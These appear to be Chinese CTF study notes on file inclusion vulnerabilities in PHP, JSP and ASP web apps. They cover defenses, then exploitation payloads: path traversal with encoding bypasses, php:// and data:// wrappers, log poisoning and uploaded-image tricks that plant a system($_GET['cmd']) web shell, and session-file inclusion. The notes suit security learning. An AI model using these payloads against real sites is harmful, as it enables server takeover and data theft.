CTF文件包含漏洞学习笔记
一、知识点梳理
1.1 定义
核心概念
文件包含漏洞是Web应用程序中常见的安全漏洞之一,当服务器端脚本(如PHP、JSP、ASP)使用用户可控的参数动态包含文件时,未对输入进行严格验证,导致攻击者可以控制包含的文件路径,从而读取敏感文件、执行恶意代码或进行其他攻击。
1.2 分类
类型 | 定义 | 典型条件 |
---|---|---|
本地文件包含(LFI) | 攻击者只能包含服务器本地存在的文件 | 基础包含函数+参数可控 |
远程文件包含(RFI) | 攻击者可以包含远程服务器上的文件 | LFI条件+allow_url_include=On [1] |
注
LFI是CTF中更常见的场景,而RFI由于配置限制较多,实际环境中相对少见。
1.3 形成原理
服务器端脚本通过动态包含函数(如PHP的include()
、require()
)加载文件时,若文件路径参数未经过滤或验证,直接拼接用户输入,导致攻击者可构造恶意路径。例如:
<?php
$file = $_GET['file'];
include($file); // ❌ 危险做法:未过滤用户输入$file
?>
1.4 常见触发点
PHP触发函数
include()
:包含文件,出错时产生警告require()
:包含文件,出错时终止脚本include_once()
/require_once()
:确保文件只被包含一次
JSP触发方式
- 静态包含:
<%@ include file="path" %>
(编译期包含) - 动态包含:
<c:import url="path"/>
(运行期包含)
ASP触发方式
<!--#include file="path" -->
(SSI指令包含)
1.5 利用条件
LFI利用条件
RFI额外条件
1.6 防御措施
防御清单
- 输入验证:严格过滤用户输入,仅允许指定的安全字符或路径
- 白名单机制:仅允许包含预定义的合法文件,拒绝动态拼接路径
- 禁用危险配置:如PHP中设置
allow_url_include=Off
,限制open_basedir
- 避免动态包含:尽量使用静态包含,减少用户可控参数的使用
- 文件路径规范化:使用
realpath()
[2]等函数验证路径合法性
二、解题方法总结
2.1 基础路径遍历
- 原理:通过
../
(向上一级目录)构造路径,读取服务器本地文件 - Payload示例:
?file=../../etc/passwd
- 适用场景:LFI漏洞,服务器未过滤
../
或对路径长度无限制
绕过技巧
- 双写绕过:
....//
(部分WAF会将../
替换为空) - 编码绕过:
%2e%2e%2f
(URL编码)或..%2f
- 绝对路径:直接使用
/etc/passwd
而非相对路径
2.2 伪协议利用
2.2.1 php://filter
功能与用法
- 功能:读取文件源码并base64编码输出,避免直接执行
- 适用场景:需要读取PHP文件源码时,避免代码执行导致的错误
- Payload格式:
php://filter/[转换链]/resource=[目标文件]
常用转换链组合:
转换链 | 作用 |
---|---|
convert.base64-encode | Base64编码输出,最常用 |
string.toupper | 转换为大写字母 |
convert.iconv.UCS-2LE.UCS-2BE | 字符编码转换 |
示例:?file=php://filter/convert.base64-encode/resource=index.php
2.2.2 php://input
- 功能:执行POST请求中的内容作为PHP代码
- Payload示例:
?file=php://input
,POST数据为<?php phpinfo();?>
- 适用场景:PHP配置
allow_url_include=On
,且允许POST数据传入
2.2.3 其他伪协议
伪协议速查表
file://
:读取本地文件,如file:///etc/passwd
data://
:直接传入数据,如data://text/plain,<?php phpinfo();?>
(需allow_url_include=On
)zip://
:读取压缩包内文件,如zip://shell.zip%23shell.php
(需将PHP文件压缩为zip)
2.3 日志注入
完整攻击流程(点击展开)
注入PHP代码到日志
使用Burp Suite修改请求头:GET /vuln.php?file=home HTTP/1.1 Host: example.com User-Agent: <?php system($_GET['cmd']);?>
包含日志文件执行代码
?file=/var/log/apache2/access.log&cmd=whoami
获取敏感信息
?cmd=cat /flag.txt
重要
常见日志路径:
- Apache:
/var/log/apache2/access.log
(Linux)、C:\xampp\apache\logs\access.log
(Windows) - Nginx:
/var/log/nginx/access.log
- IIS:
C:\Windows\System32\LogFiles\W3SVC1\
2.4 Session文件包含
- 原理:PHP的Session文件默认存储在
/tmp/sess_<sessionid>
,若Session内容可控,可注入代码后包含 - 步骤:
- 获取Session ID(如Cookie中的
PHPSESSID=abc123
) - 向Session中注入代码:
?username=<?php phpinfo();?>
- 包含Session文件:
?file=/tmp/sess_abc123
- 获取Session ID(如Cookie中的
2.5 配合文件上传的包含攻击
攻击步骤
- 上传文件
shell.jpg
,内容为<?php system($_GET['cmd']);?>
- 包含上传的文件:
?file=uploads/shell.jpg&cmd=whoami
注
若服务器检查文件头,可在PHP代码前添加GIF文件头:GIF89a<?php ... ?>
三、题目示例分析
示例1:基础LFI配合伪协议读取源码
题目描述
某CTF题目提供如下PHP代码:
<?php
$file = $_GET['file'];
if(isset($file)){
include($file.'.php'); // 自动添加.php后缀
}
?>
要求读取当前目录下flag.php
的内容。
漏洞分析
- 参数
file
可控,且自动拼接.php
后缀 - 直接传入
flag
会包含flag.php
,但该文件可能直接输出flag或仅在特定条件下显示 - 需读取
flag.php
的源码,因此使用php://filter
伪协议绕过后缀拼接
关键Payload
?file=php://filter/convert.base64-encode/resource=flag
解题步骤
- 构造Payload:
?file=php://filter/convert.base64-encode/resource=flag
- 原理:
php://filter
会读取flag.php
(因自动添加.php
),并base64编码输出
- 原理:
- 访问该URL,得到base64编码后的源码:
PD9waHAgZmxhZyA9ICJjdGZ7Tk9UX1RPT0xUX0ZMQVdfMl8zXzR9Ijs/Pg==
- 解码base64:
<?php flag = "ctf{NOT_TOOLTIP_FLAG_2_3_4}";?>
,获取flag
示例2:日志注入获取shell
题目描述
某CTF题目存在LFI漏洞,参数为?file=home
,服务器使用Apache,日志路径未知,要求获取服务器权限。
关键Payload
- 修改User-Agent头注入代码
- 包含日志:
?file=/var/log/apache2/access.log&cmd=cat flag.txt
示例3:Session文件包含
题目描述
某CTF题目存在如下代码:
<?php
session_start();
$_SESSION['username'] = $_GET['username'];
$file = $_GET['file'];
include($file);
?>
要求利用文件包含漏洞执行代码。
关键Payload
?username=<?php system('cat /flag');?>&file=/tmp/sess_abc123
四、总结与拓展
学习建议
- 掌握伪协议利用的多种组合方式
- 熟悉不同服务器日志路径(Linux/Windows)
- 练习Session包含与文件上传结合的综合利用场景
- 了解PHP版本差异对伪协议支持的影响(如PHP 7.4+对
php://input
的限制)